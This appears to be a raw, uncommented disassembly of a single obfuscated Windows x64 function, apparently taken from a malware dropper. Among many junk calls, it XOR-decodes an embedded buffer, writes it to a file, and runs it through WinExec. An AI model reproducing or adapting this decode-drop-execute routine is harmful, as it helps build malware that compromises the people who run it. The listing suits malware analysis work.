call fcn.1400058b0
mov ecx, 0xa2
call fcn.1400058b0
mov ecx, 0xff
mov edx, 0xf7f792
call fcn.1400058b0
mov ecx, 0x413f
mov rdx, r12
call fcn.1400058b0
mov edx, 0x8ecbf4
movabs rbx, 0x51ebbad5263f9555
mov rcx, rbx
call fcn.1400058b0
mov edx, 0xbf
mov r8d, 0x89fcde
xor ecx, ecx
call fcn.1400058b0
mov ecx, 1
call fcn.1400058b0
add rsp, 0x20
lea rcx, [rbx + 2]
sub rsp, 0x20
mov edx, 0xda
call fcn.1400058b0
mov ecx, 2
mov rdx, r12
call fcn.1400058b0
add rsp, 0x20
add rax, r12
mov rbx, qword [rbp + 8]
cmp rax, qword [rbp - 0x80]
mov qword [rbp - 0x50], rdi
mov qword [rbp - 0x48], rsi
mov qword [rbp - 0x40], rax
mov qword [rbx], rdi
mov qword [r14], rsi
jne 0x14000a160
mov rsi, qword [r14]
mov rax, qword [rbp]
mov qword [rax], rsi
mov rax, qword [rbx]
mov qword [rbp + 0x20], rax
mov rax, qword [rbp + 0x20]
mov rcx, qword [rbp - 8]
mov qword [rcx], rax
mov rax, qword [rbp - 0x10]
mov rdi, qword [rax]
mov rax, qword [rbp + 0x20]
sub rsp, 0x20
mov ecx, 0xffffffff
mov rdx, rsi
call fcn.1400058b0
mov ecx, 0xffffffff
mov r8d, 0x96
mov rdx, rsi
call fcn.1400058b0
mov ecx, 0xfffffffd
call fcn.1400058b0
mov ecx, 0xffffffff
call fcn.1400058b0
mov ecx, 2
mov edx, 0xe5172e
call fcn.1400058b0
xor ecx, ecx
call fcn.1400058b0
add rsp, 0x20
mov ecx, dword [rbp + 0x94]
mov dword [rbp + 0x9c], ecx
mov rcx, qword [rbp + 0x60]
mov edx, dword [rbp + 0x9c]
mov dword [rbp + 0x98], edx
mov qword [rbp + 0x48], rcx
cmp rdi, rax
mov r13, qword [rbp + 0x50]
je 0x14000a8da
mov rsi, qword [rbp + 0x40]
mov rcx, qword [rbp - 8]
mov rax, qword [rcx]
cmp rax, rsi
jae 0x14000a839
mov rdi, qword [rcx]
jmp 0x14000a83b
xor edi, edi
mov rbx, qword [rbp + 0x68]
mov rax, qword [rbp + 0x20]
sub rsp, 0x20
mov ecx, 0xffffffff
call fcn.1400058b0
add rsp, 0x20
mov eax, dword [rbp + 0x9c]
mov eax, dword [rbp + 0x9c]
sub rsp, 0x20
mov ecx, 0xffffffff
call fcn.1400058b0
mov ecx, 0xfffffffd
mov r8d, 0x5986c3
mov rdx, rsi
call fcn.1400058b0
mov ecx, 0xffffffff
call fcn.1400058b0
add rsp, 0x20
mov eax, dword [rbp + 0x9c]
sub rsp, 0x20
mov ecx, 2
call fcn.1400058b0
add rsp, 0x20
mov eax, dword [rbp + 0x9c]
mov rax, qword [rbp + 0x60]
mov rcx, qword [rbp]
mov rcx, qword [rcx]
movzx edx, byte [rax + rcx]
mov rbx, qword [rbx]
xor dl, byte [rbx + rdi]
mov byte [rax + rcx], dl
mov eax, dword [rbp + 0x94]
mov rcx, qword [rbp + 0x60]
mov dword [rbp + 0x98], eax
mov qword [rbp + 0x48], rcx
mov rax, qword [rbp + 0x48]
mov rdx, qword [rbp - 0x18]
mov qword [rdx], rax
mov eax, dword [rbp + 0x98]
mov dword [rbp + 0xac], eax
mov eax, dword [rbp + 0xac]
mov rcx, qword [rbp - 0x20]
mov dword [rcx], eax
cmp qword [rdx], 0
setne byte [rbp + 0xcf]
mov eax, dword [rcx]
mov dword [rbp + 0xb8], eax
mov eax, dword [rbp + 0xac]
mov eax, dword [rbp + 0xb8]
mov eax, dword [rbp + 0xac]
mov eax, dword [rbp + 0xb8]
mov eax, dword [rbp + 0xac]
mov eax, dword [rbp + 0xb8]
mov edx, dword [rbp + 0xac]
sub rsp, 0x20
mov ecx, 1
call fcn.1400058b0
add rsp, 0x20
cmp dword [rbp + 0xb8], 0
setg byte [rbp + 0xb6]
movzx eax, byte [rbp + 0xcf]
movzx ecx, byte [rbp + 0xb6]
cmp cl, 1
jne 0x14000aee8
test al, 1
je 0x14000aee8
movzx esi, byte [rbp + 0xcf]
movzx r14d, byte [rbp + 0xb6]
sub rsp, 0x20
mov ecx, 0xdf
mov r8d, 0x22
mov edx, esi
call fcn.1400058b0
add rsp, 0x20
mov rdi, rax
or edi, esi
sub rsp, 0x20
mov ecx, 0xff
mov edx, esi
call fcn.1400058b0
add rsp, 0x20
mov rbx, rax
and ebx, edi
imul ebx, ebx
sub rsp, 0x20
mov ecx, 0x3daf
call fcn.1400058b0
add rsp, 0x20
mov r15, rax
imul r15d, ebx
sub rsp, 0x20
mov ecx, 0xe5
mov edx, 0x2f9928
call fcn.1400058b0
add rsp, 0x20
mov rdi, rax
or edi, r14d
sub rsp, 0x20
mov ecx, 0xff
mov edx, 0x1b
mov r8d, 0x7a9761
call fcn.1400058b0
add rsp, 0x20
mov rbx, rax
and ebx, edi
imul ebx, ebx
sub rsp, 0x20
mov ecx, 0xaac9
mov edx, esi
call fcn.1400058b0
add rsp, 0x20
imul eax, ebx
xor edi, edi
cmp r15d, eax
sete dil
sub rsp, 0x20
movabs rcx, 0xbb78e53f05650ce
mov edx, 0x7f
call fcn.1400058b0
add rsp, 0x20
mov r12, rax
sub rsp, 0x20
xor ecx, ecx
mov edx, esi
mov r8d, esi
mov r9d, esi
call fcn.1400058b0
add rsp, 0x20
add r12d, eax
neg edi
movzx r13d, byte [rbp + 0xcf]
sub rsp, 0x20
mov ecx, 0x98
mov edx, esi
mov r8d, esi
call fcn.1400058b0
add rsp, 0x20
mov rbx, rax
or ebx, edi
sub rsp, 0x20
mov ecx, 0xff
call fcn.1400058b0
add rsp, 0x20
mov rdi, rax
and edi, ebx
imul edi, edi
sub rsp, 0x20
mov ecx, 0x8bf7
call fcn.1400058b0
add rsp, 0x20
mov r14, rax
imul r14d, edi
sub rsp, 0x20
mov ecx, 0x65
mov edx, 8
mov r8d, esi
mov r9d, esi
call fcn.1400058b0
add rsp, 0x20
mov rdi, rax
or edi, r13d
sub rsp, 0x20
mov ecx, 0xff
call fcn.1400058b0
add rsp, 0x20
mov rbx, rax
and ebx, edi
imul ebx, ebx
sub rsp, 0x20
mov ecx, 0x848b
mov edx, esi
call fcn.1400058b0
add rsp, 0x20
imul eax, ebx
xor r13d, r13d
cmp r14d, eax
sete r13b
sub rsp, 0x20
movabs rcx, 0xbb78e53305650ce
mov edx, esi
call fcn.1400058b0
add rsp, 0x20
mov r14, rax
sub rsp, 0x20
xor ecx, ecx
mov edx, esi
call fcn.1400058b0
add rsp, 0x20
xor r14d, eax
xor r14d, r12d
neg r13d
sub rsp, 0x20
mov ecx, 0xa5
call fcn.1400058b0
add rsp, 0x20
mov rdi, rax
or edi, r15d
sub rsp, 0x20
mov ecx, 0xff
mov edx, 0xef7cc8
call fcn.1400058b0
add rsp, 0x20
mov rbx, rax
and ebx, edi
imul ebx, ebx
sub rsp, 0x20
mov ecx, 0x4a0f
call fcn.1400058b0
add rsp, 0x20
mov r15, rax
imul r15d, ebx
sub rsp, 0x20
mov ecx, 0x32
mov edx, esi
call fcn.1400058b0
add rsp, 0x20
mov rbx, rax
or ebx, r13d
mov r13, qword [rbp + 0x50]
sub rsp, 0x20
mov ecx, 0xff
mov edx, esi
call fcn.1400058b0
add rsp, 0x20
mov rdi, rax
and edi, ebx
imul edi, edi
sub rsp, 0x20
mov ecx, 0xcce5
mov r8d, 0xbf
mov edx, esi
call fcn.1400058b0
add rsp, 0x20
imul eax, edi
xor edi, edi
cmp r15d, eax
sete dil
sub rsp, 0x20
movabs rcx, 0x27d6b7523be47d70
mov edx, 0x10
call fcn.1400058b0
add rsp, 0x20
neg edi
xor edi, eax
sub rsp, 0x20
mov ecx, 1
mov edx, esi
call fcn.1400058b0
movabs rcx, 0xd82948adc41b8293
mov edx, esi
call fcn.1400058b0
add rsp, 0x20
mov rbx, rax
sub rsp, 0x20
mov edx, 0x16
xor ecx, ecx
call fcn.1400058b0
add rsp, 0x20
xor ebx, eax
add ebx, edi
mov eax, dword [rbp + 0xac]
mov eax, dword [rbp + 0xac]
mov eax, dword [rbp + 0xac]
sub rsp, 0x20
mov ecx, 1
mov edx, esi
call fcn.1400058b0
add rsp, 0x20
movabs rdi, 0x48bb476b3e6420a0
lea rcx, [rdi + 2]
sub rsp, 0x20
mov edx, esi
call fcn.1400058b0
xor ecx, ecx
call fcn.1400058b0
mov ecx, 0x96
mov edx, esi
mov r8d, esi
mov r9d, esi
call fcn.1400058b0
mov ecx, 0xff
call fcn.1400058b0
mov ecx, 0xb1b9
call fcn.1400058b0
mov ecx, 0x87
call fcn.1400058b0
mov ecx, 0xff
mov r8d, 0x533221
mov edx, esi
call fcn.1400058b0
mov ecx, 0x11a5
mov r8d, 0x114261
mov edx, esi
call fcn.1400058b0
mov rcx, rdi
call fcn.1400058b0
xor ecx, ecx
call fcn.1400058b0
mov ecx, 0xffffffff
mov edx, 0xb4360d
mov r8d, esi
call fcn.1400058b0
add rsp, 0x20
mov eax, dword [rbp + 0xb8]
mov eax, dword [rbp + 0xb8]
sub rsp, 0x20
mov ecx, 0xffffffff
call fcn.1400058b0
mov ecx, 0xfffffffd
mov edx, 0xe66246
call fcn.1400058b0
mov ecx, 0xffffffff
mov edx, esi
call fcn.1400058b0
add rsp, 0x20
mov eax, dword [rbp + 0xb8]
sub rsp, 0x20
mov ecx, 2
mov edx, esi
call fcn.1400058b0
add rsp, 0x20
mov eax, dword [rbp + 0xb8]
sub rsp, 0x20
movabs rcx, 0x20fc475d71b6cb4b
mov edx, 0xc03ea2
call fcn.1400058b0
xor ecx, ecx
call fcn.1400058b0
mov ecx, 1
mov edx, 0xfd
call fcn.1400058b0
movabs rcx, 0xdf03b8a28e493535
mov edx, esi
call fcn.1400058b0
mov rcx, r14
mov edx, esi
call fcn.1400058b0
add rsp, 0x20
mov rdi, rax
sub rsp, 0x20
mov rcx, rbx
mov edx, esi
call fcn.1400058b0
add rsp, 0x20
mov rbx, rax
sub rsp, 0x20
mov ecx, 2
mov edx, esi
mov r8d, esi
call fcn.1400058b0
add rsp, 0x20
mov rsi, rax
sub rsp, 0x20
mov ecx, 0x80
mov edx, 0x28
call fcn.1400058b0
sub rsp, 0x20
mov dword [rsp + 0x28], eax
mov dword [rsp + 0x20], esi
mov qword [rsp + 0x30], 0
mov rcx, qword [rbp - 0x28]
mov edx, edi
mov r8d, ebx
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateFileA]
add rsp, 0x40
mov qword [rbp + 0x30], rax
mov rax, qword [rbp + 0x30]
inc rax
cmp rax, 2
jb 0x14000aee8
movzx edx, byte [rbp + 0xcf]
mov eax, dword [rbp + 0xb8]
mov eax, dword [rbp + 0xb8]
mov eax, dword [rbp + 0xb8]
sub rsp, 0x20
mov ecx, 1
call fcn.1400058b0
xor ecx, ecx
call fcn.1400058b0
add rsp, 0x20
mov dword [rbp + 0x1c], eax
mov rsi, qword [rbp + 0x30]
mov rax, qword [rbp - 0x18]
mov rdi, qword [rax]
mov rax, qword [rbp - 0x20]
mov ecx, dword [rax]
sub rsp, 0x20
mov edx, 0x242894
call fcn.1400058b0
sub rsp, 0x10
mov qword [rsp + 0x20], 0
lea r9, [rbp + 0x1c]
mov rcx, rsi
mov rdx, rdi
mov r8d, eax
call qword [sym.imp.KERNEL32.dll_WriteFile]
add rsp, 0x30
mov rcx, qword [rbp + 0x30]
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_CloseHandle]
add rsp, 0x20
mov rax, qword [rbp - 0x30]
mov rcx, qword [rax]
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_FreeResource]
lea r8, [0x14001114c]
mov rsi, qword [rbp - 0x70]
mov rcx, rsi
mov rdx, qword [rbp - 0x78]
mov r9, qword [rbp - 0x28]
call qword [sym.imp.USER32.dll_wsprintfA]
xor ecx, ecx
call fcn.1400058b0
mov rcx, rsi
mov edx, eax
call qword [sym.imp.KERNEL32.dll_WinExec]
add rsp, 0x20
mov rsi, qword [r13]
sub rsp, 0x20
movabs rcx, 0x684f4eba2addf916
call fcn.1400058b0
add rsp, 0x20
mov rdi, rax
sub rsp, 0x20
mov edx, 0x46
xor ecx, ecx
call fcn.1400058b0
add rsp, 0x20
xor rdi, rax
sub rsp, 0x20
movabs rcx, 0x97b0b145d52306ea
call fcn.1400058b0
xor ecx, ecx
call fcn.1400058b0
mov edx, 0xb6
xor ecx, ecx
mov r8, rdi
call fcn.1400058b0
add rsp, 0x20
mov rbx, rax
sub rsp, 0x20
mov ecx, 0x10000
mov rdx, rdi
mov r8, rdi
call fcn.1400058b0
mov rcx, rsi
mov rdx, rbx
mov r8d, eax
call qword [sym.imp.KERNEL32.dll_VirtualFree]
add rsp, 0x20
mov rax, qword [rbp - 0x38]
movzx ebx, byte [rax]
sub rsp, 0x20
mov ecx, 0xffffffff
mov edx, 0x34a56b
call fcn.1400058b0
mov ecx, 0x7afafa69
mov edx, 0x8bd28d
mov r8d, ebx
call fcn.1400058b0
mov ecx, 0xa061440
mov edx, 0xba
call fcn.1400058b0
mov ecx, 0x1050504
mov edx, ebx
mov r8d, ebx
call fcn.1400058b0
mov ecx, 0x1010104
mov edx, ebx
mov r8d, ebx
call fcn.1400058b0
mov ecx, 0xb071544
mov edx, ebx
call fcn.1400058b0
movabs rcx, 0x5a4160fdc5e61aef
mov edx, ebx
call fcn.1400058b0
mov edx, 0xd2
mov r8d, 0x92
xor ecx, ecx
call fcn.1400058b0
mov ecx, 0xffffffff
call fcn.1400058b0
mov ecx, 0xffffffff
mov edx, 0x28e336
mov r8d, 0xe5d705
mov r9d, ebx
call fcn.1400058b0
mov ecx, 0xfffffffd
mov edx, ebx
call fcn.1400058b0
mov ecx, 0xffffffff
mov edx, 0x31
mov r8d, ebx
call fcn.1400058b0
mov ecx, 2
mov edx, ebx
call fcn.1400058b0
movabs rcx, 0x57782c999c32540f
mov edx, ebx
call fcn.1400058b0
mov ecx, 1
mov edx, ebx
mov r8d, ebx
call fcn.1400058b0
add rsp, 0x20
xor al, bl
movzx eax, al
and eax, 1
lea rsp, [rbp + 0xd8]
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret